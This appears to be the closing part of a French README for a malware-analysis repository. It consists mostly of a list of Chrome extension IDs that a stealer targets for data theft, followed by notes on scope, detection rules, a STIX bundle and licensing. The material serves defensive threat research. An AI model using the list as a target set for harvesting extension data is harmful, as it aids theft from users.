glhefpglgefbmegkpjkdgoikologepdl  hbbgbephgojikajhfbomhlmmollphcad
hbdheoebpgogdkagfojahleegjfkhkpl  hbinmkhlebcnghpikoekkbeljbealbje
hbneiaclpaaglopiogfdhgccebncnjmc  hbnpcbochkgodkmmicbhfpmmkhbfbhim
hddkffjleepiafmkhcneldjipkfkkofk  hdokiejnpimakedhajhdlcegeplioahd
heefohaffomkkkphnlpohglngmbcclhi  hgbeiipamcgbdjhfflifkgehomnmglgk
hgnpaljkalilofmmbhgkkldbdbogddlo  hifafgmccdpekplomjjkcfgodnhcellj
hlbmghfhijdlnllnnnakmcagdfhhkfna  hmeobnfnfcmdkdcmlblgagmfpfboieaf
hnfanknocfeofbddgcijnmhnfnkdnaad  hnhobjmcibchnmglfbldbfabcgaknlkj
hpbgcgmiemanfelegbndmhieiigkackl  hpclkefagolihohboafpheddmmgdffjm
hpglfhgfnhbgpjdenjgmdgoeiappafln  hpjiiechbbhefmpggegmahejiiphbmij
ibjflpbmadchofnbpppegdbnifdgincp  ibljocddagjghmlpgihahamcghfggcjc
ibnejdfjmmkpcnlpebklmnkoeoihofec  icmkfkmjoklfhlfdkkkgpnpldkgdmhoe
idnnbdplmphpflfnlkomgpfbpcgelopg  idpfplgehakelkdadhcacicjjbemjbke
ifckdpamphokdglkkdomedpdegcjhjdp  ifclboecfhkjbpmhgehodcjpciihhmif
ifgjklbmlnimhldbmddmkdhoahfocppf  ikcpjgihikfinlkobegiiogdigohmfam
ilhaljfiglknggcoegeknjghdgampffk  imlcamfeniaidioeflifonfjeeppblda
iokeahhehimjnekafflcihljlcjccdbe  jaooiolkmfcmloonphpiiogkfckgciom
jbdaocneiiinmjbjlgalhcelgbejmnid  jccapkebeeiajkkdemacblkjhhhboiek
jfdlamikmbghhapbgfoogdffldioobgl  jfflgdhkeohhkelibbefdcgjijppkdeb
jhjebgdkdemiibiibgickfkilfpbelaj  jhnilbocebbmeelaolalihfokjgdmogb
jicpmdkafljkkppgpellcjhfhdmjpogm  jiepnaheligkibgcjgjepjfppgbcghmp
jiidiaalihmmhddjgbnbgdfflelocpak  jjkhekbaikcnpnhflnnlnbonkkobkiim
jljjeghmeihjegifdhbghcoihdiegkkl  jmgipjhlmabpmcikcahmmgleghckefjg
jnggcdmajcokeakpdeagdhphmkioabem  jnldfbidonfeldmalbflbmlebbipcnle
jnlgamecbpmbajjfhmmmlhejkemejdma  jojhfeoedkpkglbfimdfabpdfjaoolaf
kdgponmicjmjiejhifbjgembdcaclcib  keenhcnmdmjjhincpilijphpiohdppno
kfdniefadaanbjodldohaedphafoffoh  kgdijkcfiglijhaglibaidbipiejjfdp
khgocmkkpikpnmmkgmdnfckapcdkgfaf  khpkpbbcccdmmclmpigdgddabeilkdpd
kilnpioakcdndlodeeceffgjdpojajlo  kjjebdkfeagdoogagbhepmbimaphnfln
kkpehldckknjffeakihjajcjccmcjflh  kkpllbgjhchghjapjbinnoddmciocphm
kkpllkodjeloidieedojogacfhpaihoh  klghhnkeealcohjjanjjdaeeggmfmlpl
kmphdnilpmdejikjdnlbcnmnabepfgkh  kncchdigobghenbbaddojjnnaogfppfj
kolfcecahpbgbilkdkalabnfjjklkkae  kpfopkelmapcoipemfendmdcghnegimn
kppfdiipphfccemcignhifpjkapfbihd  kppgpfphbmbcgeglphjnhnhibonmebkn
lccbohhgfkdikahanoclbdmaolidjdfl  ldcihfaojdpmhjkhioilfjjckehehddg
lfmmjkfllhmfmkcobchabopkcefjkoip  lgmpcpglpngdoalbgeoldeajfclnhafa
lkpmkhpnhknhmibgnmmhdhgdilepfghe  llakdhpogpnejheknjbhbadoaomejgbi
lmkncnlpeipongihbffpljgehamdebgi  lnnnmfcpbkafcpgdilckhmhbkkbpkmid
loinekcabhlmhjjbocijdoimmejangoa  lpfcbjknijpeeillifnkikgncikgfhdo
lpilbniiabackdjcionkobglmddfbcjo  magbanejlegnbcppjljfhnmfmghialkl
mapbhaebnddapnmifbbkgeedkeplgjmf  mcbigmjiafegjnnogedioegffbooigli
mcohilncbfahbmgdjkbpemcciiolgcge  mdjjoodeandllhefapdpnffjolechflh
mdjmfdffdcmnoblignmgpommbefadffd  mdnaglckomeedfbogeajfajofmfgpoae
mfgccjchihfkkindfppnaooecgfneiii  mfiealgchgibibbamfjebflnfjihfedk
mgbfflhghaohmaecmaggieniidindaoc  mgfbabcnedcejkfibpafadgkhmkifhbd
mgffkfbidihjpoaomajlbgchddlicgpn  mjgkpalnahacmhkikiommfiomhjipgjn
mkchoaaiifodcflmbaphdgeidocajadp  mkjjflkhdddfjhonakofipfojoepfndk
mkpegjkblkkefacfnmkajcjmabijhclg  mlbnicldlpdimbjdcncnklfempedeipj
mlhakagmgkmonhdonhkpjeebfphligng  mmmjbcfofconkannjonfmjjajpllddbg
mnfifefkajgofkcjkemidiaecocnkjeh  mnnkpffndmickbiakofclnpoiajlegmg
modjfdjcodmehnpccdjngmdfajggaoeh  nanjmdknhkinifnkgdcggcfnhdaammmj
nankopfjhdflikcokhgohiaoehnjfako  nbdhibgjnjpnkajaghbffjbkcgljfgdi
nbdpmlhambbdkhkmbfpljckjcmgibalo  nebnhfamliijlghikdgcigoebonmoibm
nfaepmamdapehcbedhejbjcpnlcldodi  nfinomegcaccbhchhgflladpfbajihdf
ngakogceekkandcbkniokoghdckjhhok  nglnaekfdaelelcaokeemlnopjhekdkj
nhlnehondigmgckngjomcpcefcdplmgc  nhnkbkgjikgcigadomkphalanndcapjk
niiaamnmgebpeejeemoifgdndgeaekhe  njoljnomkdoakfphjbapdopdcneceeaf
nkbihfbeogaeaoehlefnkodbefgpgknn  nkddgncdjgjfcddamfgcmfnlhccnimig
nknhiehlklippafakaeklbeglecifhad  nlbmnnijcnlegkjjpcfjclmcfggfefdm
nlgnepoeokdfodgjkjiblkadkjbdfmgd  nopnfnlbinpfoihclomelncopjiioain
nphplpgoakhhjchkkhmiggakijnkhfnd  ocjdpmoallmgmjbbogfiiaofphbjgchh
ocjobpilfplciaddcbafabcegbilnbnb  ocmccklecaalljlflmclidjeclpcpdim
odbfpeeihdkbihmopkbjmoonfanlbfcl  oehdbmfbnjnpahadljbdcjndmepmgjgl
ofeeamlegilfbjlgbephmdhchpblfigo  ohjgojhmjldjfiningdelbffpnddmiphh
ojggmchlghnjlapmfbnjholfjkiidbch  oklkeijlcjcpbokmkmnjepjhnggkfkcl
oldojieloelkkfeacfinhcngmbkepnlm  olgpchjlegmakkhfbahgnjojlefnealp
olkbchllhcflpbjfgagahpkjnjioiedg  omaabbefbmiijedngplfjmnooppbclkk
omajpeaffjgmlpmhbfdjepdejoemifpe  onhogfjeacnfoofkfgppdlbmlmnplgbn
ooiepdgjjnhcmlaobfinbomgebfgablh  ookjlbkiijinhpmnjffcofjonbfbgaoc
opcgpfmipidbgpenhmajoajpbobppdil  oponnjpnbhdmohlkonljdfhbeibljfoa
oppceojapmdmhpnmjpballbbdclocdhj  panpgppehdchfphcigocleabcmcgfoca
pdadjkfkgcafgbceimcpbkalnfnepbnk  pdgbckgdncnhihllonhnjbdoighgpimk
pdliaogehgdbhbnmkklieghmmjkpigpa  pdlocjdlejekdbpghdcmedeacpkfiiof
peigonhbenoefaeplkpalmafieegnapj  penjlddjkjgpnkllboccdgccekpkcbin
pgiaagfkgcbnmiiolekcfmljdagdhlcm  pgojdfajgcjjpjnbpfaelnpnjocakldb
phkbamefinggmakgklpkljjmgibohnba  pmmbeeacafhbpgmlkacpadheejlhhkbf
pnndplcbkakcplkjnolgbkdgjikjednm  pnphepacpjpklpbacfmebicbgndobakn
pocmplpaccanhmnllbbkpgfliimjljgo  pogabilnghhbafaheaepaaeopjpleimd
ppbibelpcjmhbdihakflkdcoccbgbkpo  ppdadbejkmjnefldpcdjhnkpbjkikoip

Portée et limites

  • Ce dépôt documente l'analyse statique et le déchiffrement d'un seul échantillon de malware et de sa configuration intégrée.
  • L'attribution de la campagne est analytique, basée sur l'infrastructure récupérée et le chevauchement des TTP ; il ne s'agit pas d'une déclaration d'attribution des forces de l'ordre.
  • Les identifiants d'extension Chrome listés identifient des extensions légitimes ciblées pour le vol de données, et non des extensions malveillantes.
  • Les règles de détection doivent être validées et ajustées dans l'environnement de destination avant le déploiement en production.
  • Le bundle STIX suit STIX 2.1 mais utilise des identifiants simplifiés pour la lisibilité ; régénérez les UUIDs avant l'importation dans les plateformes CTI de production si un désengorgement est nécessaire.

Historique des versions

Voir CHANGELOG.md pour les mises à jour versionnées.

Contribuer

Voir CONTRIBUTING.md pour les directives, les modèles de problèmes et la checklist des PR.

Licence

Le texte d'analyse et les scripts sont publiés sous la licence MIT. Les listes d'IOC et le contenu de renseignement sur les menaces sont fournis à des fins défensives ; la réutilisation dans des produits commerciaux est autorisée selon les termes de la licence.


Ingénierie inverse indépendante dans un environnement bac à sable. La configuration chiffrée a été récupérée par analyse statique et émulation CPU par helper. Voir scripts/decrypt_all.py et SECURITY.md.

Télécharger l’outil